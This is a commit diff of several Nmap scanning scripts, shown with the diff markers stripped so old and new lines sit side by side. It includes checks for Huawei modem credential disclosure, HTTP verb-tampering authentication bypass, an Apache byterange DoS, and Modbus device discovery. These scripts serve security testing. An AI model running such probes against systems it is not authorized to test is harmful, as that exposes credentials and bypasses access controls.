-- Worst case: <meta name=Generator content="Microsoft Word 11">
local pattern = '<meta name="?generator"? content="([^\"]*)" ?/?>'
-- Worst case: <meta name=Generator content="Microsoft Word 11">
local pattern = '<meta name="?generator"? content="([^\"]*)" ?/?>'
-- make pattern case-insensitive
pattern = pattern:gsub("%a", function (c)
return string.format("[%s%s]", string.lower(c),
string.upper(c))
end)
-- make pattern case-insensitive
pattern = pattern:gsub("%a", function (c)
return string.format("[%s%s]", string.lower(c),
string.upper(c))
end)
response = follow_redirects(host, port, path, redirects)
if ( response and response.body ) then
return response.body:match(pattern)
end
response = follow_redirects(host, port, path, redirects)
if ( response and response.body ) then
return response.body:match(pattern)
end
end

View File

@@ -65,20 +65,20 @@ portrule = shortport.http
action = function(host, port)
local vuln = {
title = 'Remote credential and information disclosure in modems Huawei HG5XX',
state = vulns.STATE.NOT_VULN,
description = [[
title = 'Remote credential and information disclosure in modems Huawei HG5XX',
state = vulns.STATE.NOT_VULN,
description = [[
Modems Huawei 530x, 520x and possibly others are vulnerable to remote credential and information disclosure.
Attackers can query the URIs "/Listadeparametros.html" and "/wanfun.js" to extract sensitive information
including PPPoE credentials, firmware version, model, gateway, dns servers and active connections among other values.]],
references = {
'http://routerpwn.com/#huawei',
'http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure'
},
dates = {
disclosure = {year = '2011', month = '01', day = '1'},
},
}
references = {
'http://routerpwn.com/#huawei',
'http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure'
},
dates = {
disclosure = {year = '2011', month = '01', day = '1'},
},
}
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port)
@@ -103,8 +103,8 @@ including PPPoE credentials, firmware version, model, gateway, dns servers and a
local _, _, ssid = string.find(open_session.body, 'Nombre de Red Inal\195\161mbrica %(SSID%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
local _, _, encryption = string.find(open_session.body, 'Encriptaci\195\179n Activada %(0: No, 1:S\195\173%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
local info = string.format("\nModel:%s\nFirmware version:%s\nExternal IP:%s\nGateway IP:%s\nDNS 1:%s\nDNS 2:%s\n"..
"Network segment:%s\nActive ethernet connections:%s\nActive wireless connections:%s\nBSSID:%s\nWireless Encryption (Boolean):%s\nPPPoE username:%s\n",
model, firmware_version, ip, gateway, dns1, dns2, network_segment, active_ethernet, active_wireless, ssid, encryption, pppoe_user)
"Network segment:%s\nActive ethernet connections:%s\nActive wireless connections:%s\nBSSID:%s\nWireless Encryption (Boolean):%s\nPPPoE username:%s\n",
model, firmware_version, ip, gateway, dns1, dns2, network_segment, active_ethernet, active_wireless, ssid, encryption, pppoe_user)
--Checks if the username string was extracted. If its null, the modem is not vulnerable and we should exit.
if pppoe_user then
vuln.state = vulns.STATE.EXPLOIT

View File

@@ -85,9 +85,9 @@ local function probe_http_verbs(host, port, uri)
--With a random generated verb we look for 400 and 501 status
local random_verb_req = http.generic_request(host, port, stdnse.generate_random_string(4), uri)
local retcodes = {
[400] = true, -- Bad Request
[401] = true, -- Authentication needed
[501] = true, -- Invalid method
[400] = true, -- Bad Request
[401] = true, -- Authentication needed
[501] = true, -- Invalid method
}
if random_verb_req and not retcodes[random_verb_req.status] then
return true, "GENERIC"
@@ -103,20 +103,20 @@ action = function(host, port)
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
timeout = (timeout or 10) * 1000
local vuln = {
title = 'Authentication bypass by HTTP verb tampering',
state = vulns.STATE.NOT_VULN,
description = [[
title = 'Authentication bypass by HTTP verb tampering',
state = vulns.STATE.NOT_VULN,
description = [[
This web server contains password protected resources vulnerable to authentication bypass
vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
common HTTP methods and in misconfigured .htaccess files.
]],
references = {
'http://www.mkit.com.ar/labs/htexploit/',
'http://www.imperva.com/resources/glossary/http_verb_tampering.html',
'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29',
'http://capec.mitre.org/data/definitions/274.html'
}
}
references = {
'http://www.mkit.com.ar/labs/htexploit/',
'http://www.imperva.com/resources/glossary/http_verb_tampering.html',
'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29',
'http://capec.mitre.org/data/definitions/274.html'
}
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
-- If paths is not set, crawl the web server looking for http 401 status
@@ -124,15 +124,15 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(timeout)
while(true) do
while(true) do
local status, r = crawler:crawl()
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
end
if r.response.status == 401 then
stdnse.print_debug(2, "%s:%s is protected! Let's try some verb tampering...", SCRIPT_NAME, tostring(r.url))
local parsed = url.parse(tostring(r.url))
@@ -144,7 +144,7 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
end
end
else
-- Paths were set, check them and exit. No crawling here.
-- Paths were set, check them and exit. No crawling here.
-- convert single string entry to table
if ( type(paths) == "string" ) then
@@ -156,10 +156,10 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
if path_req.status == 401 then
local probe_status, probe_type = probe_http_verbs(host, port, path)
if probe_status then
if probe_status then
stdnse.print_debug(1, "%s:Vulnerable URI %s", SCRIPT_NAME, path)
table.insert(vuln_uris, path..string.format(" [%s]", probe_type))
end
end
end
end

View File

@@ -34,27 +34,27 @@ local string = require "string"
getLastLoc = function(host, port, useragent)
local options
local options
options = {header={}, no_cache=true, redirect_ok=function(host,port)
local c = 3
return function(url)
if ( c==0 ) then return false end
c = c - 1
return true
end
end }
options = {header={}, no_cache=true, redirect_ok=function(host,port)
local c = 3
return function(url)
if ( c==0 ) then return false end
c = c - 1
return true
end
end }
options['header']['User-Agent'] = useragent
options['header']['User-Agent'] = useragent
local response = http.get(host, port, '/', options)
local response = http.get(host, port, '/', options)
if response.location then
return response.location[#response.location] or false
end
if response.location then
return response.location[#response.location] or false
end
return false
return false
end
@@ -62,27 +62,27 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
action = function(host, port)
local newtargets = stdnse.get_script_args("newtargets") or nil
local newtargets = stdnse.get_script_args("newtargets") or nil
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
local mobloc = getLastLoc(host, port, "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30")
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
local mobloc = getLastLoc(host, port, "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30")
-- If the mobile browser request is redirected to a different page, that must be the mobile version's page.
if loc ~= mobloc then
local msg = "Found mobile version: " .. mobloc
local mobhost = http.parse_url(mobloc)
if not crawler:iswithinhost(mobhost.host) then
msg = msg .. " (Redirected to a different host)"
if newtargets then
target.add(mobhost.host)
end
end
return msg
-- If the mobile browser request is redirected to a different page, that must be the mobile version's page.
if loc ~= mobloc then
local msg = "Found mobile version: " .. mobloc
local mobhost = http.parse_url(mobloc)
if not crawler:iswithinhost(mobhost.host) then
msg = msg .. " (Redirected to a different host)"
if newtargets then
target.add(mobhost.host)
end
end
return msg
end
return "No mobile version detected."
return "No mobile version detected."
end

View File

@@ -56,29 +56,29 @@ local string = require "string"
getLastLoc = function(host, port, useragent)
local options
local options
options = {header={}, no_cache=true, redirect_ok=function(host,port)
local c = 3
return function(url)
if ( c==0 ) then return false end
c = c - 1
return true
end
end }
options = {header={}, no_cache=true, redirect_ok=function(host,port)
local c = 3
return function(url)
if ( c==0 ) then return false end
c = c - 1
return true
end
end }
options['header']['User-Agent'] = useragent
options['header']['User-Agent'] = useragent
stdnse.print_debug(2, "Making a request with User-Agent: " .. useragent)
stdnse.print_debug(2, "Making a request with User-Agent: " .. useragent)
local response = http.get(host, port, '/', options)
local response = http.get(host, port, '/', options)
if response.location then
return response.location[#response.location] or false
end
if response.location then
return response.location[#response.location] or false
end
return false
return false
end
@@ -86,70 +86,70 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
action = function(host, port)
local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil
local newtargets = stdnse.get_script_args("newtargets") or nil
local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil
local newtargets = stdnse.get_script_args("newtargets") or nil
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
local HTTPlibs = {"libwww",
"lwp-trivial",
"libcurl-agent/1.0",
"PHP/",
"Python-urllib/2.5",
"GT::WWW",
"Snoopy",
"MFC_Tear_Sample",
"HTTP::Lite",
"PHPCrawl",
"URI::Fetch",
"Zend_Http_Client",
"http client",
"PECL::HTTP",
"Wget/1.13.4 (linux-gnu)",
"WWW-Mechanize/1.34"
}
local HTTPlibs = {"libwww",
"lwp-trivial",
"libcurl-agent/1.0",
"PHP/",
"Python-urllib/2.5",
"GT::WWW",
"Snoopy",
"MFC_Tear_Sample",
"HTTP::Lite",
"PHPCrawl",
"URI::Fetch",
"Zend_Http_Client",
"http client",
"PECL::HTTP",
"Wget/1.13.4 (linux-gnu)",
"WWW-Mechanize/1.34"
}
if moreagents then
for _, l in ipairs(moreagents) do
table.insert(HTTPlibs, l)
if moreagents then
for _, l in ipairs(moreagents) do
table.insert(HTTPlibs, l)
end
end
-- We perform a normal browser request and get the returned location
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
local allowed, forb = {}, {}
for _, l in ipairs(HTTPlibs) do
local libloc = getLastLoc(host, port, l)
-- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden.
if loc ~= libloc then
local msg = l .. " redirected to: " .. libloc
local libhost = http.parse_url(libloc)
if not crawler:iswithinhost(libhost.host) then
msg = msg .. " (different host)"
if newtargets then
target.add(libhost.host)
end
end
table.insert(forb, msg)
else
table.insert(allowed, l)
end
-- We perform a normal browser request and get the returned location
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
end
local allowed, forb = {}, {}
if next(allowed) ~= nil then
table.insert(allowed, 1, "Allowed User Agents:")
end
for _, l in ipairs(HTTPlibs) do
if next(forb) ~= nil then
table.insert(forb, 1, "Forbidden User Agents:")
end
local libloc = getLastLoc(host, port, l)
-- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden.
if loc ~= libloc then
local msg = l .. " redirected to: " .. libloc
local libhost = http.parse_url(libloc)
if not crawler:iswithinhost(libhost.host) then
msg = msg .. " (different host)"
if newtargets then
target.add(libhost.host)
end
end
table.insert(forb, msg)
else
table.insert(allowed, l)
end
end
if next(allowed) ~= nil then
table.insert(allowed, 1, "Allowed User Agents:")
end
if next(forb) ~= nil then
table.insert(forb, 1, "Forbidden User Agents:")
end
return {allowed, forb}
return {allowed, forb}
end

View File

@@ -56,74 +56,74 @@ categories = {"vuln", "safe"}
portrule = shortport.http
action = function(host, port)
local vuln = {
title = 'Apache byterange filter DoS',
state = vulns.STATE.NOT_VULN, -- default
IDS = {CVE = 'CVE-2011-3192', OSVDB = '74721'},
description = [[
local vuln = {
title = 'Apache byterange filter DoS',
state = vulns.STATE.NOT_VULN, -- default
IDS = {CVE = 'CVE-2011-3192', OSVDB = '74721'},
description = [[
The Apache web server is vulnerable to a denial of service attack when numerous
overlapping byte ranges are requested.]],
references = {
'http://seclists.org/fulldisclosure/2011/Aug/175',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192',
'http://nessus.org/plugins/index.php?view=single&id=55976',
},
dates = {
disclosure = {year = '2011', month = '08', day = '19'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local hostname, path = stdnse.get_script_args('http-vuln-cve2011-3192.hostname',
'http-vuln-cve2011-3192.path')
references = {
'http://seclists.org/fulldisclosure/2011/Aug/175',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192',
'http://nessus.org/plugins/index.php?view=single&id=55976',
},
dates = {
disclosure = {year = '2011', month = '08', day = '19'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local hostname, path = stdnse.get_script_args('http-vuln-cve2011-3192.hostname',
'http-vuln-cve2011-3192.path')
if not path then
path = '/'
if not path then
path = '/'
stdnse.print_debug(1, "Setting the request path to '/' since 'http-vuln-cve2011-3192.path' argument is missing.")
end
stdnse.print_debug(1, "Setting the request path to '/' since 'http-vuln-cve2011-3192.path' argument is missing.")
end
-- This first request will try to get a code 206 reply from the server by
-- sending the innocuous header "Range: byte=0-100" in order to detect
-- whether this functionality is available or not.
local request_opts = {
header = {
Range = "bytes=0-100",
Connection = "close"
},
bypass_cache = true
}
-- This first request will try to get a code 206 reply from the server by
-- sending the innocuous header "Range: byte=0-100" in order to detect
-- whether this functionality is available or not.
local request_opts = {
header = {
Range = "bytes=0-100",
Connection = "close"
},
bypass_cache = true
}
if hostname then
request_opts.header.Host = hostname
end
if hostname then
request_opts.header.Host = hostname
end
local response = http.head(host, port, path, request_opts)
local response = http.head(host, port, path, request_opts)
if not response.status then
stdnse.print_debug(1, "%s: Functionality check HEAD request failed for %s (with path '%s').",
SCRIPT_NAME, hostname or host.ip, path)
elseif response.status == 206 then
-- The server handle range requests. Now try to request 11 ranges (one more
-- than allowed).
-- Vulnerable servers will reply with another code 206 response. Patched
-- ones will return a code 200.
request_opts.header.Range = "bytes=1-0,0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
response = http.head(host, port, path, request_opts)
if not response.status then
stdnse.print_debug(1, "%s: Functionality check HEAD request failed for %s (with path '%s').",
SCRIPT_NAME, hostname or host.ip, path)
stdnse.print_debug(1, "%s: Invalid response from server to the vulnerability check",
SCRIPT_NAME)
elseif response.status == 206 then
-- The server handle range requests. Now try to request 11 ranges (one more
-- than allowed).
-- Vulnerable servers will reply with another code 206 response. Patched
-- ones will return a code 200.
request_opts.header.Range = "bytes=1-0,0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
response = http.head(host, port, path, request_opts)
if not response.status then
stdnse.print_debug(1, "%s: Invalid response from server to the vulnerability check",
SCRIPT_NAME)
elseif response.status == 206 then
vuln.state = vulns.STATE.VULN
else
stdnse.print_debug(1, "%s: Server isn't vulnerable (%i status code)",
SCRIPT_NAME, response.status)
end
vuln.state = vulns.STATE.VULN
else
stdnse.print_debug(1, "%s: Server ignores the range header (%i status code)",
SCRIPT_NAME, response.status)
stdnse.print_debug(1, "%s: Server isn't vulnerable (%i status code)",
SCRIPT_NAME, response.status)
end
return vuln_report:make_output(vuln)
else
stdnse.print_debug(1, "%s: Server ignores the range header (%i status code)",
SCRIPT_NAME, response.status)
end
return vuln_report:make_output(vuln)
end

View File

@@ -45,46 +45,46 @@ local XSSED_URL = "URL: ([^%s]+)</th>"
action = function(host, port)
local fixed, unfixed
local fixed, unfixed
local target = XSSED_SEARCH .. host.targetname
local target = XSSED_SEARCH .. host.targetname
-- Only one instantiation of the script should ping xssed at once.
local mutex = nmap.mutex("http-xssed")
mutex "lock"
-- Only one instantiation of the script should ping xssed at once.
local mutex = nmap.mutex("http-xssed")
mutex "lock"
local response = http.get(XSSED_SITE, 80, target)
local response = http.get(XSSED_SITE, 80, target)
if string.find(response.body, XSSED_FOUND) then
fixed = {}
unfixed = {}
for m in string.gmatch(response.body, XSSED_MIRROR) do
local mirror = http.get(XSSED_SITE, 80, m)
for v in string.gmatch(mirror.body, XSSED_URL) do
if string.find(mirror.body, XSSED_FIXED) then
table.insert(fixed, "\t" .. v .. "\n")
else
table.insert(unfixed, "\t" .. v .. "\n")
end
end
if string.find(response.body, XSSED_FOUND) then
fixed = {}
unfixed = {}
for m in string.gmatch(response.body, XSSED_MIRROR) do
local mirror = http.get(XSSED_SITE, 80, m)
for v in string.gmatch(mirror.body, XSSED_URL) do
if string.find(mirror.body, XSSED_FIXED) then
table.insert(fixed, "\t" .. v .. "\n")
else
table.insert(unfixed, "\t" .. v .. "\n")
end
end
end
end
mutex "done"
mutex "done"
-- Fix the output.
if not fixed and not unfixed then
return "No previously reported XSS vuln."
end
-- Fix the output.
if not fixed and not unfixed then
return "No previously reported XSS vuln."
end
if next(unfixed) ~= nil then
table.insert(unfixed, 1, "UNFIXED XSS vuln.\n")
end
if next(unfixed) ~= nil then
table.insert(unfixed, 1, "UNFIXED XSS vuln.\n")
end
if next(fixed) ~= nil then
table.insert(fixed, 1, "FIXED XSS vuln.\n")
end
if next(fixed) ~= nil then
table.insert(fixed, 1, "FIXED XSS vuln.\n")
end
return {unfixed, fixed}
return {unfixed, fixed}
end

View File

@@ -46,125 +46,125 @@ categories = {"discovery", "intrusive"}
portrule = shortport.portnumber(502, "tcp")
local form_rsid = function(sid, functionId, data)
local payload_len = 2
if ( #data > 0 ) then
payload_len = payload_len + #data
end
return bin.pack('CCCCC', 0x00, 0x00, 0x00, 0x00, 0x00) .. bin.pack('C', payload_len) .. bin.pack('C', sid) .. bin.pack('C', functionId) .. data
local payload_len = 2
if ( #data > 0 ) then
payload_len = payload_len + #data
end
return bin.pack('CCCCC', 0x00, 0x00, 0x00, 0x00, 0x00) .. bin.pack('C', payload_len) .. bin.pack('C', sid) .. bin.pack('C', functionId) .. data
end
discover_device_id_recursive = function(host, port, sid, start_id)
local rsid = form_rsid(sid, 0x2B, bin.pack('H', "0E 01")..bin.pack('C', start_id))
local status, result = comm.exchange(host, port, rsid)
local objects_table = {}
if ( status and (#result >= 8)) then
local ret_code = string.byte(result, 8)
if ( ret_code == 0x2B and #result >= 15 ) then
local more_follows = string.byte(result, 12)
local next_object_id = string.byte(result, 13)
local number_of_objects = string.byte(result, 14)
stdnse.print_debug(1, ("more = 0x%x, next_id = 0x%x, obj_number = 0x%x"):format(more_follows, next_object_id, number_of_objects))
local offset = 15
for i = start_id, (number_of_objects - 1) do
local object_id = string.byte(result, offset)
local object_len = string.byte(result, offset + 1)
-- error data format --
if object_len == nil then break end
local object_value = string.sub(result, offset + 2, offset + 1 + object_len)
stdnse.print_debug(1, ("Object id = 0x%x, value = %s"):format(object_id, object_value))
table.insert(objects_table, object_id + 1, object_value)
offset = offset + 2 + object_len
end
if ( more_follows == 0xFF and next_object_id ~= 0x00 ) then
stdnse.print_debug(1, "Has more objects")
local recursive_table = discover_device_id_recursive(host, port, sid, next_object_id)
for k,v in pairs(recursive_table) do
table.insert(objects_table, k, v)
end
end
local rsid = form_rsid(sid, 0x2B, bin.pack('H', "0E 01")..bin.pack('C', start_id))
local status, result = comm.exchange(host, port, rsid)
local objects_table = {}
if ( status and (#result >= 8)) then
local ret_code = string.byte(result, 8)
if ( ret_code == 0x2B and #result >= 15 ) then
local more_follows = string.byte(result, 12)
local next_object_id = string.byte(result, 13)
local number_of_objects = string.byte(result, 14)
stdnse.print_debug(1, ("more = 0x%x, next_id = 0x%x, obj_number = 0x%x"):format(more_follows, next_object_id, number_of_objects))
local offset = 15
for i = start_id, (number_of_objects - 1) do
local object_id = string.byte(result, offset)
local object_len = string.byte(result, offset + 1)
-- error data format --
if object_len == nil then break end
local object_value = string.sub(result, offset + 2, offset + 1 + object_len)
stdnse.print_debug(1, ("Object id = 0x%x, value = %s"):format(object_id, object_value))
table.insert(objects_table, object_id + 1, object_value)
offset = offset + 2 + object_len
end
if ( more_follows == 0xFF and next_object_id ~= 0x00 ) then
stdnse.print_debug(1, "Has more objects")
local recursive_table = discover_device_id_recursive(host, port, sid, next_object_id)
for k,v in pairs(recursive_table) do
table.insert(objects_table, k, v)
end
end
end
return objects_table
end
return objects_table
end
local discover_device_id = function(host, port, sid)
return discover_device_id_recursive(host, port, sid, 0x0)
return discover_device_id_recursive(host, port, sid, 0x0)
end
local form_device_id_string = function(device_table)
local ret_string = "DEVICE IDENTIFICATION: "
for i = 1, #device_table do
if ( device_table[i] ~= nil ) then
ret_string = ret_string..device_table[i]
if ( i < #device_table ) then ret_string = ret_string.." " end
end
local ret_string = "DEVICE IDENTIFICATION: "
for i = 1, #device_table do
if ( device_table[i] ~= nil ) then
ret_string = ret_string..device_table[i]
if ( i < #device_table ) then ret_string = ret_string.." " end
end
return ret_string
end
return ret_string
end
local extract_slave_id = function(response)
local byte_count = string.byte(response, 9)
if ( byte_count == nil or byte_count == 0) then return nil end
local offset, slave_id = bin.unpack("A"..byte_count, response, 10)
return slave_id
local byte_count = string.byte(response, 9)
if ( byte_count == nil or byte_count == 0) then return nil end
local offset, slave_id = bin.unpack("A"..byte_count, response, 10)
return slave_id
end
modbus_exception_codes = {
[1] = "ILLEGAL FUNCTION",
[2] = "ILLEGAL DATA ADDRESS",
[3] = "ILLEGAL DATA VALUE",
[4] = "SLAVE DEVICE FAILURE",
[5] = "ACKNOWLEDGE",
[6] = "SLAVE DEVICE BUSY",
[8] = "MEMORY PARITY ERROR",
[10] = "GATEWAY PATH UNAVAILABLE",
[11] = "GATEWAY TARGET DEVICE FAILED TO RESPOND"
[1] = "ILLEGAL FUNCTION",
[2] = "ILLEGAL DATA ADDRESS",
[3] = "ILLEGAL DATA VALUE",
[4] = "SLAVE DEVICE FAILURE",
[5] = "ACKNOWLEDGE",
[6] = "SLAVE DEVICE BUSY",
[8] = "MEMORY PARITY ERROR",
[10] = "GATEWAY PATH UNAVAILABLE",
[11] = "GATEWAY TARGET DEVICE FAILED TO RESPOND"
}
action = function(host, port)
-- If false, stop after first sid.
local aggressive = stdnse.get_script_args('modbus-discover.aggressive')
-- If false, stop after first sid.
local aggressive = stdnse.get_script_args('modbus-discover.aggressive')
local opts = {timeout=2000}
local results = {}
local opts = {timeout=2000}
local results = {}
for sid = 1, 246 do
stdnse.print_debug(3, "Sending command with sid = %d", sid)
local rsid = form_rsid(sid, 0x11, "")
for sid = 1, 246 do
stdnse.print_debug(3, "Sending command with sid = %d", sid)
local rsid = form_rsid(sid, 0x11, "")
local status, result = comm.exchange(host, port, rsid, opts)
if ( status and (#result >= 8) ) then
local ret_code = string.byte(result, 8)
if ( ret_code == (0x11) or ret_code == (0x11 + 128) ) then
local sid_table = {}
if ret_code == (0x11) then
table.insert(results, ("Positive response for sid = 0x%x"):format(sid))
local slave_id = extract_slave_id(result)
if ( slave_id ~= nil ) then table.insert(sid_table, "SLAVE ID DATA: "..slave_id) end
elseif ret_code == (0x11 + 128) then
local exception_code = string.byte(result, 9)
local exception_string = modbus_exception_codes[exception_code]
if ( exception_string == nil ) then exception_string = "UNKNOWN EXCEPTION" end
table.insert(results, ("Positive error response for sid = 0x%x (%s)"):format(sid, exception_string))
end
local device_table = discover_device_id(host, port, sid)
if ( #device_table > 0 ) then
table.insert(sid_table, form_device_id_string(device_table))
end
if ( #sid_table > 0 ) then
table.insert(results, sid_table)
end
if ( not aggressive ) then break end
end
local status, result = comm.exchange(host, port, rsid, opts)
if ( status and (#result >= 8) ) then
local ret_code = string.byte(result, 8)
if ( ret_code == (0x11) or ret_code == (0x11 + 128) ) then
local sid_table = {}
if ret_code == (0x11) then
table.insert(results, ("Positive response for sid = 0x%x"):format(sid))
local slave_id = extract_slave_id(result)
if ( slave_id ~= nil ) then table.insert(sid_table, "SLAVE ID DATA: "..slave_id) end
elseif ret_code == (0x11 + 128) then
local exception_code = string.byte(result, 9)
local exception_string = modbus_exception_codes[exception_code]
if ( exception_string == nil ) then exception_string = "UNKNOWN EXCEPTION" end
table.insert(results, ("Positive error response for sid = 0x%x (%s)"):format(sid, exception_string))
end
end
if ( #results > 0 ) then
port.state = "open"
port.version.name = "modbus"
nmap.set_port_version(host, port)
local device_table = discover_device_id(host, port, sid)
if ( #device_table > 0 ) then
table.insert(sid_table, form_device_id_string(device_table))
end
if ( #sid_table > 0 ) then
table.insert(results, sid_table)
end
if ( not aggressive ) then break end
end
end
end
return stdnse.format_output(true, results)
if ( #results > 0 ) then
port.state = "open"
port.version.name = "modbus"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, results)
end

View File

@@ -43,60 +43,60 @@ categories = { "version" }
portrule = shortport.version_port_or_service({64738}, "murmur", {"tcp", "udp"})
action = function(host, port)
local mutex = nmap.mutex("murmur-version:" .. host.ip .. ":" .. port.number)
mutex("lock")
local mutex = nmap.mutex("murmur-version:" .. host.ip .. ":" .. port.number)
mutex("lock")
if host.registry["murmur-version"] == nil then
host.registry["murmur-version"] = {}
end
-- Maybe the script already ran for this port number on another protocol
local r = host.registry["murmur-version"][port.number]
if r == nil then
r = {}
host.registry["murmur-version"][port.number] = r
if host.registry["murmur-version"] == nil then
host.registry["murmur-version"] = {}
end
-- Maybe the script already ran for this port number on another protocol
local r = host.registry["murmur-version"][port.number]
if r == nil then
r = {}
host.registry["murmur-version"][port.number] = r
local status, result = comm.exchange(
host, port.number, "\0\0\0\0abcdefgh", { proto = "udp", timeout = 3000 })
if not status then
mutex("done")
return
end
-- UDP port is open
nmap.set_port_state(host, { number = port.number, protocol = "udp" }, "open")
if not string.match(result, "^%z...abcdefgh............$") then
mutex("done")
return
end
-- Detected; extract relevant data
local _
_, r.v_a, r.v_b, r.v_c, _, r.users, r.maxusers, r.bandwidth =
bin.unpack(">CCCLIII", result, 2)
local status, result = comm.exchange(
host, port.number, "\0\0\0\0abcdefgh", { proto = "udp", timeout = 3000 })
if not status then
mutex("done")
return
end
mutex("done")
-- UDP port is open
nmap.set_port_state(host, { number = port.number, protocol = "udp" }, "open")
-- If the registry is empty the port was probed but Murmur wasn't detected
if next(r) == nil then
return
if not string.match(result, "^%z...abcdefgh............$") then
mutex("done")
return
end
port.version.name = "murmur"
port.version.name_confidence = 10
port.version.product = "Murmur"
port.version.version = r.v_a .. "." .. r.v_b .. "." .. r.v_c
port.version.extrainfo = "; users: " .. r.users .. "; max. users: " ..
r.maxusers .. "; bandwidth: " .. r.bandwidth .. " b/s"
-- Add extra info depending on protocol
if port.protocol == "tcp" then
port.version.extrainfo = "control port" .. port.version.extrainfo
else
port.version.extrainfo = "voice port" .. port.version.extrainfo
end
-- Detected; extract relevant data
local _
_, r.v_a, r.v_b, r.v_c, _, r.users, r.maxusers, r.bandwidth =
bin.unpack(">CCCLIII", result, 2)
end
nmap.set_port_version(host, port, "hardmatched")
mutex("done")
-- If the registry is empty the port was probed but Murmur wasn't detected
if next(r) == nil then
return
end
port.version.name = "murmur"
port.version.name_confidence = 10
port.version.product = "Murmur"
port.version.version = r.v_a .. "." .. r.v_b .. "." .. r.v_c
port.version.extrainfo = "; users: " .. r.users .. "; max. users: " ..
r.maxusers .. "; bandwidth: " .. r.bandwidth .. " b/s"
-- Add extra info depending on protocol
if port.protocol == "tcp" then
port.version.extrainfo = "control port" .. port.version.extrainfo
else
port.version.extrainfo = "voice port" .. port.version.extrainfo
end
nmap.set_port_version(host, port, "hardmatched")
return
end

View File

@@ -18,36 +18,36 @@ categories = {"version"}
portrule = function(host, port)
return (port.number == 80 or port.number == 443 or
port.service == nil or port.service == "" or
port.service == "unknown")
and port.protocol == "tcp" and port.state == "open"
and port.version.name_confidence < 10
and not(shortport.port_is_excluded(port.number,port.protocol))
return (port.number == 80 or port.number == 443 or
port.service == nil or port.service == "" or
port.service == "unknown")
and port.protocol == "tcp" and port.state == "open"
and port.version.name_confidence < 10
and not(shortport.port_is_excluded(port.number,port.protocol))
end
action = function(host, port)
local status, result = comm.exchange(host, port,
"GET / HTTP/1.0\r\n\r\n", {bytes=26, proto=port.protocol})
if (not status) then
return
end
if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then
return
end
-- So far so good, now see if we get random data for another request
status, result = comm.exchange(host, port,
"random data\r\n\r\n", {bytes=15, proto=port.protocol})
local status, result = comm.exchange(host, port,
"GET / HTTP/1.0\r\n\r\n", {bytes=26, proto=port.protocol})
if (not status) then
return
end
if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then
return
end
-- So far so good, now see if we get random data for another request
status, result = comm.exchange(host, port,
"random data\r\n\r\n", {bytes=15, proto=port.protocol})
if (not status) then
return
end
if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then
-- Detected
port.version.name = "skype2"
port.version.product = "Skype"
nmap.set_port_version(host, port)
return
end
return
if (not status) then
return
end
if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then
-- Detected
port.version.name = "skype2"
port.version.product = "Skype"
nmap.set_port_version(host, port)
return
end
return
end

View File

